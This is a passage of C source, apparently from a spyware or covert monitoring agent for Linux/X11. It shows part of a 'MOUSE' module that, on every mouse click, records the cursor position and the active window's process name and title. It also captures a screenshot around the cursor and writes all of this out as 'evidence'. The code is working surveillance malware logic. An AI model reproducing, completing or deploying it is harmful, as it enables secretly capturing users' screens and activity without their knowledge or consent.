-1) break; } if(MODULE_MOUSE.status == MODULE_STOPPING) break; if(XNextEvent(display, &event)) break; if(event.type != buttonrelease) break; if(((XDeviceButtonEvent *)&event)->button > 3) break; XQueryPointer(display, DefaultRootWindow(display), &root, &child, &rootX, &rootY, &childX, &childY, &mask); XGetWindowAttributes(display, DefaultRootWindow(display), &wininfo); getwindowproperties(display, getactivewindow(display), &process, &title); debugme("MOUSE b=%d, x=%d, y=%d (%s | %.20s)\n", ((XDeviceButtonEvent *)&event)->button, rootX, rootY, process, title); imgx = MAX(rootX - (width / 2), 0); imgy = MAX(rootY - (height / 2), 0); imgw = MIN(rootX + (width / 2), wininfo.width) - imgx; imgh = MIN(rootY + (height / 2), wininfo.height) - imgy; if(!(datalen = getscreenimage(display, DefaultRootWindow(display), imgx, imgy, imgw, imgh, 90, &dataptr))) break; a.version = MOUSEMODULE_VERSION; a.processlen = strlen16(process) + 2; a.titlelen = strlen16(title) + 2; a.x = rootX; a.y = rootY; a.width = imgw; a.height = imgh; (void)BIO_reset(bio_additional); BIO_write(bio_additional, &a, sizeof(a)); BIO_puts16n(bio_additional, process); BIO_puts16n(bio_additional, title); if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break; evidence_write(EVIDENCE_TYPE_MOUSE, additionalptr, additionallen, dataptr, datalen); } while(0); if(dataptr) { free(dataptr); dataptr = NULL; } if(process) { free(process); process = NULL; } if(title) { free(title); title = NULL; } } } while(0); if(bio_additional) BIO_free(bio_additional); if(device) { for(i = 0; i < devnum; i++) if(device[i]) XCloseDevice(display, device[i]); free(device); } if(devinfo) XFreeDeviceList(devinfo); if(display) XCloseDisplay(display); debugme("Module MOUSE stopped\n"); return NULL; }
static void cleanup(XDeviceInfo *p) { if (p) { XFreeDeviceList(p); } }